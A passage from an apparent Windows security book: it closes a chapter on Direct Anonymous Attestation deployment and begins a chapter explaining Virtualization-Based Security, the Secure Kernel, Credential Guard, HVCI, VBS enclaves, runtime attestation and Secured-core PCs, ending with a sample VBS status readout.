These are the open problems for researchers. What about the rest of us, on Monday morning?

What it means for you

Five roles, one Monday morning. Where does this leave you?

For a Windows platform engineer. The minimum viable Windows DAA API surface is approximately a BCryptCreateDaaContext, BCryptDaaJoin, BCryptDaaSign, and BCryptDaaVerify set, plus an NCryptDaaKeyHandle for key-storage-provider lifecycle, plus a Web Authentication API surface that consumes ECDAA attestation. Shipping all of that costs a Hello-sized engineering investment. If Pluton's published surface ever advertises ECDAA, an OEM-side integration becomes possible. Today the answer is that DAA is not available through any supported Windows API.

For an attestation-provider product engineer. Pick a Privacy-CA broker architecture for production. The comparison table below makes the trade-offs explicit. Cryptographic DAA does not pay for the architectural switch unless the relying-party privacy threat is specifically the broker itself: a threat model that, in 2026, no shipping production attestation product publicly assumes.

For a FIDO authenticator vendor. ECDAA attestation is not a viable production choice in 2026. The path to it becoming viable runs through verifier libraries in Chromium, Firefox, and Safari; relying-party SDK support across Auth0, Okta, Microsoft Entra, and Google Identity Platform; and a non-deprecated WebAuthn Level N specification that re-adds the format. None of those preconditions are visibly in progress.

For an academic zero-knowledge-proof researcher. Four open problems map onto production needs: post-quantum DAA at TPM-firmware-shippable signature sizes (the current state-of-the-art at 38 kilobytes is too large), threshold-issuer DAA (no single party can issue a credential), confidential-computing DAA (for small-cohort VM attestation), and IoT DAA (for milliwatt-class energy budgets). Each is publishable; none yet has a deployment path.

For a privacy-tech advocate or policymaker. The framing that helps Microsoft, Google, and AWS engineering teams hear the request is "the broker can be compelled by a subpoena; the math cannot." The framing that does not help is "your cryptography is worse than the academic alternative." The first is a threat-model conversation that engineering organizations can engage with; the second is a technology conversation they have already had and decided.

Comparison: Four production architectures for attested privacy

Closing

The cryptography is mature. The standardization is mature. Some hardware support is in the field. What is missing is the social machinery (the verifier libraries, the SDK presence, the operational tooling, the incident-response runbooks, the regulator demand) that turns cryptography into deployment. Direct Anonymous Attestation is the cleanest example in platform security of a primitive that won every standardization fight and lost every deployment one. The lesson is not that the cryptography is wrong. The lesson is that cryptography is necessary but never sufficient. Production systems are social systems whose mathematical components, however elegant, must compete with operational alternatives whose properties are easier to ship.

The Secure Kernel

Part II is easiest to misunderstand if it is read as marketing language. "Virtualization-Based Security" can sound like a feature switch; "Secure Kernel" can sound like a replacement kernel; "Memory Integrity" can sound like a dashboard label. The mechanism is sharper than the labels. Windows takes a machine that historically had one all-powerful kernel and asks the hypervisor to create a second runtime world. The normal kernel remains the operating system. The secure kernel becomes the place where Windows puts the small set of secrets and decisions that must survive when the normal kernel is not fully trusted.

That last clause is the whole chapter. VBS is not a promise that kernel exploitation is impossible. It is not a promise that malware cannot persist, keylog, steal files, tamper with user processes, or abuse tokens in VTL0. It is a narrower but more durable claim: if an asset has been moved into VTL1, and if the hypervisor, secure kernel, boot policy, and secure-call interface hold, then VTL0 compromise alone should not expose that asset directly. The rest of the chapter is the unpacking of each condition in that sentence.

How to read the boundary

Before walking through the history, hold the architecture as three separate promises. VBS is often discussed as if it were one binary state (on or off, secure or insecure) but the real system is a stack of promises that can fail independently.

The first promise is placement: the asset must actually be in VTL1. If a secret remains in a VTL0 process, VBS does not retroactively protect it. If a driver decision is still made entirely by the normal kernel, the Secure Kernel cannot enforce it. If an application keeps its encryption key in ordinary process memory while also using a VBS enclave for some other calculation, the key is still an ordinary VTL0 asset. This placement question is why Credential Guard matters so much: it changes where long-lived authentication material lives. It is also why HVCI matters: it changes who gets the final say over executable kernel pages. A Reasoner should never stop at "VBS is enabled." The first operational question is always: which asset moved?

The second promise is mediation: VTL0 must not be able to bypass the approved interface. SLAT is the center of that promise. The NT kernel can create and modify its own page tables, but those tables are no longer the final mapping authority. The hypervisor's second-level tables decide whether a guest-physical page is visible to a trust level. That is the new geometry. A VTL0 write primitive can corrupt VTL0. It can patch a driver, alter a token, or lie to a user-mode sensor. It should not, merely by being a kernel write primitive, acquire a mapping for VTL1-owned pages. If the attacker wants VTL1 data, they must either use a legitimate secure-world service as an oracle, exploit a bug in the crossing path, compromise the hypervisor, or attack the boot/update path that decides which trusted code runs.

The third promise is versioned trust: the code enforcing the boundary must be the intended code. Secure Boot and measured boot made this question explicit for firmware and boot components; VBS carries it into runtime. securekernel.exe, code-integrity components, trustlets, and revocation policies are software. If an attacker can roll them back to vulnerable versions while the machine still reports itself as patched, the boundary may exist in form while losing the fix that made it safe in substance. That is why rollback appears in this chapter as a first-class failure mode rather than as an administrative footnote.

Those promises explain the shape of the chapter. The NT history explains why placement was needed: Ring 0 used to be the last line. PatchGuard and driver signing explain why same-level enforcement was not enough. Secure Boot explains why starting clean did not solve runtime compromise. VTLs and SLAT explain mediation. Credential Guard, HVCI, System Guard, Secured-core PCs, and VBS enclaves explain what Windows chose to place in the secure world. Secure Kernel bugs, Pass-the-Challenge, side channels, and Windows Downdate explain how the promises can break.

This layered reading also prevents two common errors. The first error is overclaiming: "VBS stops kernel compromise." It does not. It lets selected assets survive selected kinds of VTL0 compromise. The second error is underclaiming: "an admin can always win, so VBS does not matter." That misses the operational threat model. Microsoft may not treat administrator-to-kernel as a servicing boundary, but enterprises still care whether a remote intruder who reaches local admin can immediately dump domain credentials, load arbitrary unsigned kernel code, or tamper with measured runtime claims. VBS raises those costs by moving the relevant secret or decision behind a boundary the intruder does not automatically control.

The useful mental model is therefore not a castle wall around the whole machine. It is a vault inside a compromised building. The attacker may own the lobby, cameras, elevators, and many offices. They may coerce clerks into performing authorized actions. They may attack the vault door. They may try to replace the vault firmware with last year's vulnerable build. But if the vault is real, current, and used for the right asset, merely owning the building no longer means holding the contents.

The Secure Kernel's contract

securekernel.exe is not a second Windows that happens to be safer. It is a small kernel with a contract. It initializes the secure world, manages VTL1 memory, hosts the primitives needed by Isolated User Mode, mediates secure service dispatch, and participates in decisions that the normal kernel should not be able to forge. Its value comes as much from what it refuses to do as from what it does. It does not run the desktop. It does not host arbitrary drivers. It does not replace the object manager, the file-system stack, the registry, the network stack, or the scheduler that ordinary applications experience. Those remain VTL0 responsibilities because moving all of Windows into VTL1 would recreate the original problem at a higher level.

The contract is deliberately selective. Credential Guard asks the secure world to hold long-lived credential material and perform cryptographic operations without returning the raw key. HVCI asks it to participate in code-integrity decisions and executable-page permissions. System Guard asks it to help produce runtime claims that VTL0 malware cannot simply edit before a relying service sees them. VBS enclaves ask it to host constrained application code whose private memory is opaque to the host process and the normal kernel. Each service expands the value of VTL1, and each service also expands the interface exposed to VTL0.

This is the central engineering trade. A completely silent secure world would have almost no attack surface, but it would also be useless. A useful secure world must accept inputs, validate buffers, copy data across trust boundaries, maintain handles, return results, and survive hostile callers. The secure-call surface is therefore the new reference monitor problem in miniature. The old SRM asked whether a subject in Windows could access an object in Windows. The VBS boundary asks whether an untrusted normal world can invoke a tightly scoped operation in a trusted secure world without gaining the secure world's memory, code execution, or policy authority.

That is why the Secure Kernel should be judged neither as a magic shield nor as a mere feature flag. It is a new placement of trust. It says: the NT kernel is still trusted to run most of the machine, but no longer trusted with every secret and every final decision. The hypervisor and secure kernel are trusted more, so they must be smaller, more constrained, more carefully serviced, and easier to reason about. The history that follows is the story of Windows moving from one flat trusted kernel toward that more compartmentalized contract.

When SYSTEM isn't enough

An attacker has achieved the holy grail: SYSTEM-level access on a domain-joined Windows machine. They load Mimikatz, point it at LSASS, and reach for the domain admin's Kerberos ticket. The command runs. The output comes back empty. The credentials are there (the machine uses them every second) but they're locked behind a wall that even full kernel access cannot breach.

For decades, Windows security rested on a single hard boundary: user mode versus kernel mode. If you crossed that line (if you achieved Ring 0 execution), the system was yours. Every credential, every security policy, every secret was accessible. Tools like Benjamin Delpy's Mimikatz turned this architectural reality into a practical catastrophe, making Pass-the-Hash and Pass-the-Ticket attacks trivially easy across enterprise networks [261]; that tool lineage is the subject of the Mimikatz chapter (Chapter 14).

But on a modern Windows 11 machine with Virtualization-Based Security (VBS) enabled, the rules have changed. A new trust boundary exists. One enforced not by the kernel, but by the hypervisor running above the kernel. Even SYSTEM-level access in the traditional kernel cannot directly map, read, or write assets that have actually been placed behind this boundary [262].

If kernel mode gives you everything, what could possibly be above kernel mode? Answering that means retracing thirty years of Windows kernel security, and every same-level defense that failed before Microsoft moved the boundary.

The all-or-nothing kernel: How Windows NT was built

In 1988, Dave Cutler began designing Windows NT with a security model influenced by military security research: especially the reference monitor concept, distinct from Bell-LaPadula's mandatory-access-control model. State-of-the-art for its era. It also contained a fatal assumption.

The NT kernel drew a hard line between Ring 3 (user mode) and Ring 0 (kernel mode) [263]. User-mode processes could not directly access kernel memory. The Security Reference Monitor mediated all access to system objects. For the early 1990s, this was a significant advance over DOS and Windows 9x, where applications and the OS shared the same memory space with no isolation at all.

But the NT model contained a fatal assumption: all kernel-mode code is equally trusted. Once a driver or exploit gained Ring 0 access, it shared the same address space and privilege level as the kernel itself. It could read and write any memory, modify the System Service Dispatch Table (SSDT), manipulate the Interrupt Descriptor Table (IDT), or unlink processes from the EPROCESS active process list.

This was the golden age of kernel-mode rootkits. Jamie Butler's FU rootkit (2004) used Direct Kernel Object Manipulation (DKOM) to unlink processes from the active process list, making malicious processes invisible to Task Manager, antivirus tools, and every other system utility [264]. SSDT hooking allowed rootkits to intercept and redirect any system call, providing total control over OS behavior.

Mark Russinovich and Bryce Cogswell built the Sysinternals tools to make these kernel internals visible to defenders [265]. Process Explorer, Filemon, and Regmon became essential diagnostic instruments. But visibility is not protection. Defenders could see the problem; they could not stop it.

Software guards for a hardware problem: PatchGuard and friends

What do you do when the prisoners are as powerful as the guards? You send in more guards at the same level. That was Microsoft's first strategy, and its fundamental flaw.

PatchGuard arrived in Windows XP x64 and Windows Server 2003 SP1 in 2005 [266]. It used obfuscated, randomized integrity checks to detect unauthorized modifications to kernel structures. If it caught tampering, it triggered a BSOD. On the surface, this seemed like a strong defense.

Mandatory kernel-mode code signing followed with Windows Vista x64 in 2007, requiring all kernel drivers to carry a valid Authenticode signature [267], the code-signing format examined in the Authenticode and Catalog Files chapter (Chapter 12). Data Execution Prevention (DEP) marked memory pages as non-executable [268]. Address Space Layout Randomization (ASLR) randomized the memory layout of loaded modules [269]. Supervisor Mode Execution Prevention (SMEP) blocked kernel code from executing user-mode memory pages [269].

Each mitigation raised the cost of attack. Together, they made kernel exploitation significantly harder. But each one had a fatal weakness.

PatchGuard runs at Ring 0: the same privilege level as the attackers it monitors. In 2019, the InfinityHook project demonstrated how to hook kernel callbacks via the Event Tracing for Windows (ETW) subsystem without patching any kernel structures that PatchGuard checks [270]. PatchGuard never noticed.

Kernel-mode code signing stops unsigned drivers but not signed-and-vulnerable ones. The BYOVD technique became a staple of advanced persistent threat (APT) groups: install a legitimately signed driver with a known vulnerability, exploit that vulnerability, and gain arbitrary kernel execution while all code signing checks pass [271].

DEP is bypassed by Return-Oriented Programming (ROP). Instead of injecting new code, attackers chain existing executable code snippets ("gadgets") to achieve arbitrary computation [272]. ASLR has limited entropy on 32-bit systems and is defeated by information leaks that reveal randomized base addresses [273].

Building the foundation: Secure Boot and the Trust Chain

If you cannot trust the kernel at runtime, can you at least trust that it started clean? UEFI Secure Boot bet on that premise.

Windows 8 (October 2012) mandated Secure Boot for certified hardware, establishing a cryptographic chain of trust from firmware through bootloader to OS kernel [27]. Only components signed by trusted authorities could execute during the boot process. Measured Boot extended this by hashing each boot component into TPM Platform Configuration Registers (PCRs), creating a verifiable boot log that remote attestation services could check [10].

This was a real advance. Bootkits like TDL4/Alureon, which operated below the OS and were invisible to all software-based defenses, were effectively blocked [274]. The boot chain was now cryptographically verified.

But Secure Boot had a critical gap: it protected the boot process, not runtime. Once Windows loaded and started executing, a kernel exploit could compromise the system just as before. PatchGuard was still the only runtime defense, and we have already seen its limitations.

Secure Boot ensured the system started clean but could not keep it clean. Microsoft needed runtime isolation, and the key technology was already sitting on millions of machines, unused for this purpose: the hypervisor.

The breakthrough: Virtual Trust Levels and the Secure Kernel

The insight that changed everything was deceptively simple: if Ring 0 attackers can compromise anything at Ring 0, create a Ring -1. The hypervisor was already there.

Intel VT-x and AMD-V hardware virtualization extensions, shipping since 2005-2006, gave the hypervisor a privilege level above the OS kernel [275]. Microsoft's Hyper-V already used this capability for virtual machines. The breakthrough was recognizing that the same hardware could create a security boundary within a single OS instance: not a separate VM, but a hardware-isolated execution context that the kernel could not reach.

In May 2015, Brad Anderson announced Virtualization-Based Security, Device Guard, and Credential Guard at Microsoft Ignite [276]. The initial Windows 10 release, version 1507 (July 2015), shipped with VBS, creating two Virtual Trust Levels: VTL0 (Normal World) and VTL1 (Secure World) [262].

Read the VTL architecture as a stack. At the bottom is the Hyper-V hypervisor. It owns the second-level translation tables and therefore decides which guest-physical pages are visible to each trust level. Above it are two worlds. VTL0 is the ordinary Windows world: ntoskrnl.exe, the object manager, memory manager, file systems, network stack, display stack, third-party drivers, lsass.exe, services, EDR agents, malware, and every normal application. VTL1 is the secure world: securekernel.exe in secure kernel mode plus Isolated User Mode trustlets such as lsaiso.exe and, on newer systems, VBS enclave code.

A concrete walkthrough makes that topology legible. During boot, firmware and the Windows boot path establish the measured and signed launch conditions. If policy, hardware, and boot configuration allow it, the Hyper-V hypervisor starts before the normal Windows kernel and creates the Virtual Secure Mode environment. The normal kernel then boots in VTL0, but it is no longer the highest authority over all machine memory. securekernel.exe initializes in VTL1 and receives ownership of secure-world pages. The hypervisor programs SLAT so that VTL0 translations cannot resolve those pages, even if VTL0 later controls its own page tables perfectly. A malicious VTL0 driver can still corrupt VTL0 memory; it cannot merely add a PTE and map VTL1.

Communication is deliberately asymmetric. VTL0 initiates requests because ordinary Windows owns the user experience and the compatibility surface. VTL1 answers only through defined secure services. A request therefore has to be marshaled: VTL0 supplies handles, lengths, command identifiers, and buffers; the crossing code validates that the buffers are in the expected trust level, copies or maps only what the protocol permits, performs the secure operation, and returns a result rather than raw authority. That validation step is not plumbing. It is the new boundary. Every integer length, pointer, state transition, and object lifetime in that path is security-critical because a compromised VTL0 kernel is allowed to call the doorbell but must not be allowed to choose what lies behind the door.

Here is the lifecycle in operational order:

1. Firmware, Secure Boot, and boot configuration establish whether Hyper-V and Virtual Secure Mode are allowed to launch.
2. The Hyper-V hypervisor initializes first and becomes the owner of SLAT enforcement.
3. VTL0 starts the standard NT kernel, drivers, services, and applications.
4. VTL1 starts securekernel.exe, then the IUM substrate needed for trustlets.
5. The hypervisor assigns VTL1-owned pages and denies VTL0 mappings for them.
6. Secure services expose narrow operations: use a credential, validate code, produce an attestation claim, enter an enclave.
7. VTL0 receives outputs, status codes, and authentication responses, but not VTL1 memory or long-lived secrets.

That lifecycle also defines the residual attack surface. If the hypervisor misprograms SLAT, isolation fails. If securekernel.exe mishandles a secure call, VTL0 may become VTL1. If boot policy loads a vulnerable old secure kernel, the boundary exists but runs the wrong code. If a trustlet exposes a powerful oracle, the secret may remain hidden while the attacker still obtains useful operations. VBS is therefore not a single magic mode; it is a disciplined reduction in what a VTL0 compromise automatically buys.

Alex Ionescu's 2015 Black Hat presentation was the first major public technical teardown of the Secure Kernel Mode (SKM) and Isolated User Mode (IUM) architecture [277]. Rafal Wojtczuk (Bromium) followed in 2016 with the first independent security audit of VBS, mapping the trust boundaries and identifying the secure call interface as the primary attack surface [278].

What can an attacker with full SYSTEM access in VTL0 not do?

• Read credentials protected by Credential Guard
• Load unsigned kernel drivers when HVCI is enabled
• Directly map VTL1 memory or modify Secure Kernel data structures through VTL0 page tables
• Disable VBS without rebooting (and with Secure Boot + UEFI lock, not easily even then)

For the first time, an attacker with full NT kernel compromise could not access secrets protected in VTL1. This fundamentally changed the Windows threat model.

For the first time, full NT kernel compromise was no longer game over. But what, exactly, does this new architecture protect?

The pillars: What the Secure Kernel protects

The Secure Kernel is not a product. It is a platform. Five distinct security features stand on its shoulders, each protecting a different class of asset and exposing a different kind of boundary interface. A masterclass reading starts by separating those three columns: what moves into VTL1, how VTL0 is still allowed to use it, and what failure would look like.

That table matters because each pillar has a different shape. Credential Guard protects a secret but must still let Windows authenticate. HVCI protects a decision but must still let legitimate drivers load. VBS Enclaves protect application memory but must still accept untrusted host inputs. System Guard protects the integrity of a report but still depends on a verifier that understands freshness and policy. Secured-core is not a runtime service at all; it is the supply-chain and firmware baseline that makes the other services credible at fleet scale.

Credential Guard

When Credential Guard is enabled, the important change is not that lsass.exe disappears. It does not. lsass.exe remains in VTL0 because it is still the compatibility broker for Local Security Authority APIs, Security Support Providers, logon sessions, and the huge ecosystem of Windows authentication callers. The change is that long-lived reusable credential material (especially NTLM password hashes and derived secrets, plus Kerberos TGTs and long-term key material used to obtain or renew them) is isolated in LsaIso.exe, a trustlet running in VTL1 Isolated User Mode [87]. lsass.exe keeps metadata and brokers requests; LsaIso.exe keeps the secrets and performs cryptographic operations. Credential Guard is the canonical instance of the placement question this chapter opened with, and it earns its own treatment in the Credential Guard chapter (Chapter 15); what matters here is why VTL1 makes that placement possible at all.

The mechanism is a move from secret extraction to secret use. When a network protocol needs an NTLM response, VTL0 does not receive the NTLM hash; it asks VTL1 to compute a response to a challenge. When Kerberos needs a ticket operation, VTL0 does not receive raw long-term key material; it asks the isolated component to perform the cryptographic use and return the result. The difference between secret extraction and secret use is the whole security model. Mimikatz-style dumping fails because the reusable secret is not present in VTL0 memory at all. Kernel reads, handle abuse, token theft, or arbitrary VTL0 driver code can still inspect the broker and ordinary process memory; they cannot directly map LsaIso.exe pages or copy the underlying credential. Credential Guard therefore changes the economics of lateral movement: the attacker may still own the workstation, but does not automatically receive domain-reusable material to replay elsewhere [261].

That gain is bounded in two ways the Secure Kernel platform makes inevitable, and both are developed in the Credential Guard chapter (Chapter 15). First, the boundary is a broker, not a wall: lsass.exe in VTL0 can still ask the trustlet allowed questions, capture a freshly typed password before it becomes protected material, or use the machine's authentication capability as an oracle: the protocol-relay residual that returns later in this chapter as Pass-the-Challenge. Second, the protected asset is long-term key material only; service tickets, tokens, delegated credentials, and live sessions remain VTL0 objects, and reducing their usefulness is a domain-policy and protocol problem (NTLM's challenge-response economics are the subject of the Death of NTLM chapter, Chapter 16). Credential Guard composes with, but is stronger than, Protected Process Light (Chapter 10): PPL restricts who may open lsass.exe from user mode, but once an attacker reaches kernel mode PPL alone is no longer a boundary, whereas the VTL1 placement still holds.

The honest one-line claim is therefore: Credential Guard protects reusable credential material from VTL0 memory extraction; it does not make a compromised endpoint trustworthy. A keylogged password, a stolen browser token, or a real-time NTLM relay is not a Credential Guard bypass. It is exactly the asset the boundary never promised to cover. The deployment caveats that follow from this belong to that chapter's rollout discussion: the domain-controller exclusion, SKU and firmware preconditions, legacy VPN / smart-card / NLA breakage, and the discipline of verifying SecurityServicesRunning rather than trusting a default. Even a Mimikatz-wielding attacker with SYSTEM in VTL0 gets a much poorer prize: broker state, process memory, and live sessions, but not the raw VTL1-held credential. That is the profound change from the flat-kernel era, and it is why Pass-the-Challenge appears later as a protocol-level limitation rather than a memory-isolation failure.

HVCI / Memory Integrity

HVCI (Hypervisor-Enforced Code Integrity, surfaced to users as "Memory Integrity") is the second major consumer of the VTL1 platform: it moves the authority over which kernel code may execute out of the NT kernel and into VTL1 [279]. Before a kernel-mode driver's pages become executable, a VTL1 code-integrity service must accept the image, and the hypervisor enforces W^X (write-xor-execute) on kernel pages through SLAT. A page may be writable or executable, never both. This is the same trick as credential isolation, pointed at a decision instead of a secret. The attacker may control VTL0's own first-level page tables; the hypervisor controls the second-level permission that makes execution real, so flipping a kernel page to writable-and-executable is denied even with full VTL0 kernel execution. "Kernel code execution" therefore no longer implies "arbitrary kernel code," because the judge of executable memory now lives in a kernel the attacker did not compromise.

The boundary is defined by the failure HVCI does not prevent. A legitimately signed but vulnerable driver still grants read/write primitives in VTL0; HVCI narrows what those primitives can become (no admitted unsigned kernel image and no attacker-created executable kernel page) but it does not make the driver bug disappear. It constrains executable-code admission and page permissions; it does not stop data-only corruption, ROP/JOP reuse of already admitted code, logic abuse, or malicious behavior inside a signed driver that policy allows. That residual, the signed-vulnerable-driver problem and the block-list, CodeIntegrity-event, and driver-inventory machinery built around it, is owned by the Code Integrity chapter (Chapter 8), which also covers the MBEC/GMET hardware acceleration and the rollout discipline HVCI demands. Here the load-bearing point is purely architectural: HVCI is the proof that the VTL1 platform protects decisions, not only secrets.

VBS Enclaves

VBS Enclaves are the platform's third-party generalization: the same VTL1 boundary that protects LsaIso.exe is opened to ordinary applications on supported Windows builds, with Microsoft-documented requirements that VBS/HVCI be enabled, the enclave DLL be signed with a valid certificate, and production builds avoid debuggable enclave policy [281][280][282]. Unlike Intel SGX they need no specialized enclave hardware beyond a VBS-capable platform [280]; they reuse Hyper-V, SLAT, VTL1, and a constrained user-mode runtime. The build mechanics belong to the VBS Trustlets chapter (Chapter 7), which owns what runs in VTL1 user mode: writing the enclave DLL, declaring the boundary in EDL (the Enclave Definition Language), building with the VBS Enclave Tooling SDK, signing through a trusted path, and entering via CallEnclave. What the Secure Kernel chapter must carry is the security consequence of opening that door.

The consequence is that the boundary is almost entirely in the interface. The host is untrusted: it controls timing, buffers, pointers, lengths, call order, and cancellation. So enclave code must treat every input as hostile: copy host buffers into enclave-owned memory before trusting them, validate lengths before arithmetic, never reuse a host pointer after a check, and guard against the time-of-check/time-of-use race where a structure is validated in host memory and then mutated before use. The safe pattern is: validate lengths and destination bounds first, copy the untrusted buffer once into enclave-owned memory (which the host has no mapping to mutate), then validate the private copy's contents and operate only on it. This is the secure-call reference-monitor problem exported to third-party code, and it is why the enclave API must stay minimal: every entry point is attack surface, and the only operations that belong inside are the ones that truly require secrecy. Decrypt this blob, sign this challenge, unwrap this token. Persistence, networking, and I/O stay in the VTL0 host, which passes data across the boundary, precisely to keep the VTL1 trusted computing base small.

That minimalism is also a warning, because VTL1 opacity cuts both ways. If an enclave signs whatever the host asks, the key is hidden but still abusable as an oracle; if an old signed enclave carries a vulnerability and policy admits it, the attacker brings their own vulnerable enclave; and because no VTL0 security product can directly inspect VTL1 memory, a malicious enclave is a hiding place as much as a vault. The BYOVE and Mirage research that weaponized exactly this is examined later in this chapter; Microsoft MORSE's hardening guidance restates old lessons in the new boundary: pointer validation, TOCTOU prevention, careful marshalling, reentrancy control, a small API, hostile-caller design [283]. The isolation is a defensive asset only when enclave admission, signing, and interface design are disciplined.

System Guard runtime attestation

System Guard Runtime Attestation answers a different question from Credential Guard or HVCI. It does not primarily hide a secret or block a driver. It helps a relying party decide whether a device is in a trustworthy state right now, or at least recently enough for policy. Microsoft documents System Guard as maintaining platform integrity at startup and validating that integrity through local and remote attestation; Device Health Attestation (DHA) validates TPM/PCR logs and issues a report that MDM systems such as Intune can consume for compliance decisions [188][284][285][286]. Secure Boot and measured boot, and the remote attestation built on them (Chapter 5, Attestation), can tell a verifier what was loaded during boot. Runtime attestation tries to extend that trust into the period after the normal kernel has been running, when VTL0 malware might otherwise edit local status, forge health signals, or hide a kernel compromise [287].

The publicly documented actors are: System Guard measurements protected away from ordinary Windows tampering, TPM-protected boot evidence, the DHA client/CSP and service path, MDM or security tooling that requests or receives the report, and a relying policy engine such as Intune compliance or conditional access [188][284][285][286]. The important design point is that transport can be less trusted than measurement. VTL0 may carry data to the network, but the relying party is supposed to evaluate hardware-attested evidence rather than accept an arbitrary local string saying "healthy."

A concrete report should be understood as an attested claim set, not as a vague "the machine is healthy" bit. Microsoft documents DHA collection of boot logs, TPM audit trails, TPM certificates, report retrieval through the HealthAttestation CSP, and Intune evaluation of settings such as Secure Boot, BitLocker, and code integrity [284][285][286]. The broader verifier model is conceptual but necessary: a relying service should validate device identity, evidence integrity, expected measurements or policy version, and freshness such as a nonce, timestamp, counter, cached-report lifetime, or service-issued challenge. It should reject stale or replayed reports rather than asking only "did Windows say good?"

The workflow is therefore:

1. A management or security service requests health evidence, often as part of device compliance, endpoint-risk evaluation, or conditional access.
2. The device gathers boot/runtime security state through System Guard and DHA surfaces, including TPM-protected measured-boot evidence.
3. The report or cached attestation blob is bounded by freshness policy (for example a nonce, service request, timestamp, counter, or cache lifetime) so that an old healthy result cannot be replayed indefinitely.
4. The report is signed or otherwise tied to hardware-backed identity rooted in the TPM and device provisioning.
5. The remote verifier checks evidence integrity, freshness, device/tenant binding, expected measurements, and policy requirements.
6. Access policy consumes the result: allow, deny, require remediation, reduce trust, or trigger investigation.

Measurement scope is the hard part. System Guard can make claims about the platform features it measures and the Windows security state it knows how to evaluate. It cannot prove every byte of every driver, user process, firmware component, peripheral, browser extension, or cloud token is benign. It also cannot make an untrusted verifier wise. If the relying policy accepts "VBS configured" instead of "VBS running with Credential Guard and HVCI active," the device may satisfy a weak policy while missing the protection the organization intended. Attestation strength is jointly determined by measurement quality and verifier strictness.

A compromised VTL0 attacker still has options. They may suppress the report by blocking the network, killing the management agent, interfering with the MDE sensor, or making the device appear offline. They may attempt denial-of-service rather than forgery. They may feed false context around the signed report, such as misleading hostname, user, or asset metadata from ordinary management channels. They may exploit a verifier misconfiguration that treats missing data as success. They may attack freshness by replaying a captured report if the challenge model is weak. What VTL1-backed attestation is meant to stop is the simplest and most dangerous lie: VTL0 malware directly editing the measured runtime claims and presenting them as if the secure world produced them.

The operational lesson is to treat attestation as a protocol. A useful deployment specifies which claims are mandatory, how fresh a report must be, what happens when reports are absent, what policy version is expected, how devices are enrolled, how TPM identity is validated, and which exceptions are allowed. A report that cannot be produced should not silently become compliant. A report with stale freshness should not unlock sensitive access. A report from a device with VBS merely configured but not running should fail the policy that depends on VBS. Runtime attestation is powerful when the verifier is strict; it becomes theater when the verifier only records whatever the endpoint says. Those same signed device-health claims become an input to the cloud access decisions developed in the Zero Trust chapter (Chapter 26) and the Continuous Access Evaluation chapter (Chapter 27): this is the link by which a VTL1 measurement reaches a token-issuance decision.

Secured-core PCs

Secured-core PCs are the hardware-and-firmware answer to a deployment problem: VBS is only as credible as the platform beneath it. A machine can have a VBS-capable CPU and still be weak because firmware settings disable virtualization, DMA protection is absent, SMM can tamper with the OS, Secure Boot is misconfigured, or policy can be turned off by a local administrator. Secured-core certification tries to make the baseline composable rather than optional [288].

Map the requirements to threats. SLAT is required because VTL isolation depends on second-level translation. TPM 2.0 is required because measured boot, key protection, and attestation need a hardware root of trust. UEFI Secure Boot is required because the hypervisor and Windows boot path must not be trivially replaced. IOMMU/DMA protection is required because a malicious PCIe/Thunderbolt device with raw DMA should not be able to overwrite memory behind the CPU's back. SMM protection is required because System Management Mode firmware can otherwise become a more privileged attacker than the hypervisor. DRTM support matters because it provides a way to establish a measured late launch even when earlier firmware is too large or complex to trust absolutely. Firmware lock and policy configuration matter because a feature that can be disabled by the attacker before reboot is not a stable enterprise control.

The practical distinction is between capability and assurance. A non-Secured-core PC may support some or all VBS features. A Secured-core PC is supposed to ship with the right CPU, firmware, TPM, DMA protections, Secure Boot configuration, and VBS/HVCI posture integrated by the OEM. That does not make it invulnerable. It reduces the number of fleet-specific questions an operator has to answer before treating VBS status as meaningful.

Major OEMs (Dell, HP, Lenovo, Microsoft Surface) ship Secured-core PCs for enterprise and government customers. For procurement, the value is not the label alone; it is the threat-to-requirement chain. If your risk model includes malicious peripherals, require IOMMU-backed DMA protection. If it includes evil-maid boot tampering, require Secure Boot, TPM-backed measurements, and firmware configuration controls. If it includes BYOVD and kernel rootkits, require HVCI running, not merely supported. If it includes remote conditional access, require runtime attestation signals that the verifier actually consumes.

VBS also enables additional isolation features beyond these core pillars. Windows Defender Application Guard (WDAG) uses Hyper-V containers to isolate untrusted browser sessions and Office documents, preventing web-based exploits from reaching the host OS. Hyper-V container isolation provides similar protection for containerized workloads. Those features are adjacent rather than identical: they isolate workloads using virtualization, while the Secure Kernel isolates selected assets and decisions inside the host OS itself.

Decision Guide

A few negative examples prevent misuse of the guide. Do not deploy Credential Guard to solve browser token theft; the browser token is not an LSA secret. Do not deploy HVCI and assume vulnerable signed drivers no longer matter; the driver may still expose dangerous device-control interfaces even if its code pages are not writable. Do not build a VBS enclave for a secret whose plaintext is immediately copied back into ordinary process memory. Do not rely on attestation unless the relying service rejects stale, missing, or policy-incomplete reports. Do not buy Secured-core hardware and forget to verify that the shipped firmware settings and enterprise policy keep VBS running.

The Secure Kernel now protects credentials, code integrity, application secrets, and device health. It is deployed across many Windows 11 and Windows Server systems, but default enablement depends on hardware eligibility, OEM image, Windows release, upgrade path, SKU, and which VBS-backed service is being discussed. But the protection is conditional: the right asset must move, the interface must be narrow, the platform must satisfy prerequisites, and the operator must verify runtime state. The next sections test those conditions against other platforms and against real attacks.

Proof on a live machine

The Secure Kernel is intentionally hard to see from VTL0. That is the point: if an ordinary administrator, a debugger, or a kernel-mode driver could simply enumerate and map the VTL1 address space, the boundary would be decorative. A live probe can therefore prove only the supported outer shape of the system. It can show that VBS is running rather than merely configured. It can show which VBS-backed security services Windows reports as active. It can show the hardware and firmware properties available to the VBS policy. It cannot, from VTL0, dump securekernel.exe memory or inspect a trustlet's secrets.

That limitation is not a weakness in the evidence; it is the evidence. VBS is a boundary whose correct observation from the normal world is mostly negative: the normal world can ask for status, can call documented interfaces, and cannot directly read the secure world. The captured block below is therefore deliberately modest. It is not a claim that our lab VM proves every SKU default, every firmware configuration, or every enterprise policy. It proves the narrow thing a Reasoner should demand before reasoning about VBS on a real system: on this machine, the hypervisor-backed VBS runtime was up, and Credential Guard plus Hypervisor-Enforced Code Integrity were running services.

VirtualizationBasedSecurityStatus = 2  # Running
SecurityServicesConfigured        = CredentialGuard, HypervisorEnforcedCodeIntegrity
SecurityServicesRunning           = CredentialGuard, HypervisorEnforcedCodeIntegrity
AvailableSecurityProperties       = BaseVirtualizationSupport, SecureBoot, UEFICodeReadonly, ModeBasedExecutionControl
RequiredSecurityProperties        = BaseVirtualizationSupport, SecureBoot

